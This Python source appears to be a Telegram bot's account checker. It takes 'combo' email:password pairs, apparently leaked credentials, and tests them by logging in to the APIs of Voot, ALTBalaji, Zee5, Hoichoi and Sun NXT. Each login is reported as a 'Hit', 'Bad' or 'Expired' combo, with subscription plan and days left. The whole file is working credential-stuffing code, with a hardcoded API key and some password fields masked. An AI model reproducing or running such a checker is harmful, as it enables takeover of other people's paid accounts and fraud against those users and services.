def Voot_helper(chat_id, combo): status = Sendmessage(chat_id, '<i>Checking...</i>') try: combo_split = combo.split(':') inpumail = combo_split[0] inpupass = combo_split[1] except IndexError: return Editmessage(chat_id, 'Enter Valid Combo😡😡', status) session_requests = requests.session() email = f'"email": "{inpumail}"' password = f'"password":"******"' payload = '{"type":"traditional","deviceId":"X11","deviceBrand":"PC/MAC","data":{%s,%s}}' % ( email, password) login_url = "https://userauth.voot.com/usersV3/v3/login" result = session_requests.post(login_url, data=payload, headers=head) response = result.json() if result.status_code != 200: logger.info('Login Failed') code = response['status']['code'] msg = response['status']['message'] text = f'<b>Bad Combo �</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Error\nCode: {code}\nMessage: {msg}\nSite: Voot</b>' Editmessage(chat_id, text, status) return acess = response['data']['authToken']['accessToken'] head2 = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'sec-fetch-site': 'same-site', 'sec-fetch-mode': 'cors', 'sec-fetch-dest': 'empty', 'accesstoken': str(acess), } subs_url = 'https://pxapi.voot.com/smsv4/int/ps/v1/voot/transaction/list' response = session_requests.get(subs_url, headers=head2) result = response.json() total = result['results']['total'] if int(total) == 0: free_text = f'<b>Expired Combo �</b>\n<b>Site: Voot</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Expired</b>' Editmessage(chat_id, free_text, status) return pay_list = result['results']['list'][0] ts = int(pay_list['endDate']['timeStamp']) print(ts) try: human = datetime.utcfromtimestamp(ts) except ValueError: human = datetime.fromtimestamp(ts/1000.0) expire = human < datetime.today() if expire: expire_text = f'<b>Expired Combo �</b>\n<b>Site: Voot</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Expired</b>' Editmessage(chat_id, expire_text, status) return Pack_name = pay_list['itemDetails']['name'] Pack_recur = pay_list['itemDetails']['isRenewable'] days = human - datetime.today() pro_message = f'<b>🌟 Hit Combo 💫</b>\n<b>Site: Voot</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Premium\nPlan: {Pack_name}\nDays Left: {days.days}\nRecurring: {Pack_recur}</b>' Editmessage(chat_id, pro_message, status)
def altbalaji_helper(chat_id, combo): status = Sendmessage(chat_id, '<i>Checking...</i>') try: combo_split = combo.split(':') inpumail = combo_split[0] inpupass = combo_split[1] except IndexError: return Editmessage(chat_id, 'Enter Valid Combo😡😡', status) email = f'"username":"******"' password = f'"password":"******"' session_request = requests.Session() url = 'https://api.cloud.altbalaji.com/accounts/login?domain=IN' payload = '{%s,%s}' % (email, password) response = session_request.post(url, data=payload) result = response.json() if response.status_code != 200: state = result['status'] code = result['code'] messg = result['message'] text = f'<b>Bad Combo �</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: {state}\nCode: {code}\nMessage: {messg}\nSite: Altbalaji</b>' Editmessage(chat_id, text, status) return session_token = result['session_token'] subs_url = 'https://payment.cloud.altbalaji.com/accounts/orders?limit=1&domain=IN' head2 = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 'accept': 'application/json, text/plain, */*', 'sec-fetch-site': 'same-site', 'sec-fetch-mode': 'cors', 'sec-fetch-dest': 'empty', 'content-type': 'application/json', 'xssession': str(session_token), } response = session_request.get(subs_url, headers=head2) result = response.json() if result['orders'] == []: expired_text = f'<b>Free Combo �</b>\n<b>Site: Altbalaji</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Free</b>' Editmessage(chat_id, expired_text, status) return validto = result['orders'][0]['dates']['valid_to'] validtosplit = validto.split('T')[0] sub2split = validtosplit.split('-') trial = date(int(sub2split[0]), int(sub2split[1]), int( sub2split[2])) < date.today() if trial: free_text = f'<b>Expired Combo �</b>\n<b>Site: Altbalaji</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Expired/Free</b>' Editmessage(chat_id, free_text, status) return days = date(int(sub2split[0]), int(sub2split[1]), int( sub2split[2])) - date.today() subscription = result['orders'][0]['product']['titles'] Pack_name = subscription['default'] Pack_recur = str(result['orders'][0]['product']['recurring']) Pack_date = subscription['en'] pro_message = f'<b>🌟 Hit Combo @B0RNTOLE4RN 💫</b>\n<b>Site: Altbalaji</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Premium\nPlan: {Pack_name}\nType: {Pack_date}\nDays Left: {days.days}\nRecurring: {Pack_recur.capitalize()}</b>' Editmessage(chat_id, pro_message, status)
def zee_helper(chat_id, combo): status = Sendmessage(chat_id, '<i>Checking....</i>') try: combo_split = combo.split(':') inpumail = combo_split[0] inpupass = combo_split[1] except IndexError: Editmessage(chat_id, 'Enter Valid Combo😡😡', status) return session_requests = requests.session() email = f'"email": "{inpumail}"' password = f'"password":"******"' payload = '{%s,%s}' % (email, password) login_url = "https://userapi.zee5.com/v2/user/loginemail" result = session_requests.post(login_url, data=payload, headers=head) response = result.json() if result.status_code != 200: logger.info('Login Failed') code = response['code'] msg = response['message'] text = f'<b>Bad Combo �</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Error\nCode: {code}\nMessage: {msg}\nSite: Zee5</b>' Editmessage(chat_id, text, status) return acess = response['access_token'] head2 = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 'accept': '*/*', 'sec-fetch-site': 'same-site', 'sec-fetch-mode': 'cors', 'sec-fetch-dest': 'empty', 'authorization': 'bearer ' + str(acess), } subs_url = 'https://subscriptionapi.zee5.com/v1/subscription?translation=en&country=IN&include_all=flase' response1 = session_requests.get(subs_url, headers=head2) result1 = response1.json() # print(result1) if result1 == []: expire_text = f'<b>Expired Combo �</b>\n<b>Site: Zee5</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Expired</b>' Editmessage(chat_id, expire_text, status) return timedioint = result1[0]["subscription_end"].split('T')[0] sub2split = timedioint.split('-') trial = date(int(sub2split[0]), int(sub2split[1]), int( sub2split[2])) - date.today() Pack_name = result1[0]['subscription_plan']['title'] pack_price = str(result1[0]['subscription_plan']['price']) Pack_recur = result1[0]['recurring_enabled'] Pack_pyed = result1[0]['payment_provider'] pro_message = f'<b>🌟 Hit Combo 💫</b>\n<b>Site: Zee5</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Plan: {Pack_name}\nPrice: {pack_price} INR\nDays Left: {trial.days} Days\nPayment: {Pack_pyed}\nRecurring: {Pack_recur}</b>' # print(pro_message) Editmessage(chat_id, pro_message, status)
def hoichoi_helper(chat_id, combo): status = Sendmessage(chat_id, '<i>Checking...</i>') try: combo_split = combo.split(':') inpumail = combo_split[0] inpupass = combo_split[1] except IndexError: print(combo) Editmessage(chat_id, 'Enter Valid Combo😡😡', status) return email = f'"email":"{inpumail}"' password = f'"password":"******"' session_request = requests.Session() url = 'https://prod-api.viewlift.com/identity/signin?site=hoichoitv&deviceId=browser-f76c181a-94b5-11eb-a8b3-0242ac130003' payload = '{%s,%s}' % (email, password) response = session_request.post(url, headers=head, data=payload) result = response.json() if response.status_code != 200: code = result['code'] messg = result['error'] text = f'<b>Bad Combo �</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Code: {code}\nMessage: {messg}\nSite: Hoichoi</b>' Editmessage(chat_id, text, status) return elif result['isSubscribed'] == False: free_text = f'<b>Expired Combo �</b>\n<b>Site: Altbalaji</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Expired/Free</b>' Editmessage(chat_id, free_text, status) return user_token = result['authorizationToken'] head2 = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36', 'accept': 'application/json, text/plain, */*', 'authorization': user_token, 'origin': 'https://www.hoichoi.tv', 'referer': 'https://www.hoichoi.tv/', 'x-api-key': 'PBSooUe91s7RNRKnXTmQG7z3gwD2aDTA6TlJp6ef' } url2 = 'https://prod-api.viewlift.com/subscription/user?site=hoichoitv&userId=f76c181a-94b5-11eb-a8b3-0242ac130003' session2 = session_request.get(url2, headers=head2) result2 = session2.json() timedioint = result2["subscriptionInfo"]["subscriptionEndDate"].split( 'T')[0] sub2split = timedioint.split('-') trial = date(int(sub2split[0]), int(sub2split[1]), int( sub2split[2])) - date.today() pro_message = f'<b>🌟 Hit Combo 💫</b>\n<b>Site: Hoichoi</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Premium\nPlan: {result2["subscriptionPlanInfo"]["name"]}\nDays Left: {trial.days}\nRecurring: {result2["subscriptionPlanInfo"]["renewable"]}</b>' Editmessage(chat_id, pro_message, status) return
def throwbin(chat_id, text): msg = Sendmessage(chat_id, '<i>Pasting...</i>') try: real = text.split('|') title = real[0] real_text = real[1] except IndexError: real_text = text title = '@B0RNTOLE4RN' tb = ThrowBin() my_paste = tb.post(title=title, text=real_text, syntax="text") print(f"Status {my_paste.status} | Link: {my_paste.link}") msg_txt = f'<b>Pasted ✅\nStatus: {my_paste.status}\nLink: {my_paste.link}</b>' Editmessage(chat_id, msg_txt, msg)
def Sun_helper(chat_id, combo): status = Sendmessage(chat_id, '<i>Checking...</i>') try: combo_split = combo.split(':') email = combo_split[0] password = combo_split[1] except IndexError: print(combo) Editmessage(chat_id, 'Enter Valid Combo😡😡', status) return head["x-csrf-token"] = crsf_token head["x-requested-with"] = 'XMLHttpRequest' head["accept"] = "application/json, text/plain, */*" head["content-type"] = "application/json;charset=UTF-8" ipu_mail = f'"email": "{email}"' ipu_pass = f'"password": "******"' payload = '{%s,%s}' % (ipu_mail, ipu_pass) req2 = requests.post("https://www.sunnxt.com/login", headers=head, data=payload) resonse = req2.json() if req2.status_code != 200: text = f'<b>Bad Combo �</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: Error\nCode: {req2.status_code}\nMessage: {resonse["error"]}\nSite: Sun NXT</b>' Editmessage(chat_id, text, status) return profile = json.loads(resonse["profile"]) pack_active = profile["result"]["profile"]["subscriptionStatus"] if pack_active == "Expired" or pack_active == "Inactive": free_text = f'<b>Free/Expired Combo �</b>\n<b>Site: Sun NXT</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: {pack_active}</b>' Editmessage(chat_id, free_text, status) return pack_name = resonse["userSubscriptions"]["results"][0]["displayName"] date = resonse["userSubscriptions"]["results"][0]["validityEndDate"] pro_message = f'<b>🌟 Hit Combo 💫</b>\n<b>Site: Sun NXT</b>\n<b>Combo: </b><code>{combo}</code>\n<b>Status: {pack_active}\nPlan: {pack_name}\nExpire On: {date}</b>' Editmessage(chat_id, pro_message, status) return